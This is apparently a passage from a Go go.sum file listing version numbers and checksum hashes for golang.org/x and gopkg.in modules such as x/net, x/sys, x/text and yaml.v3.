golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0=
golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=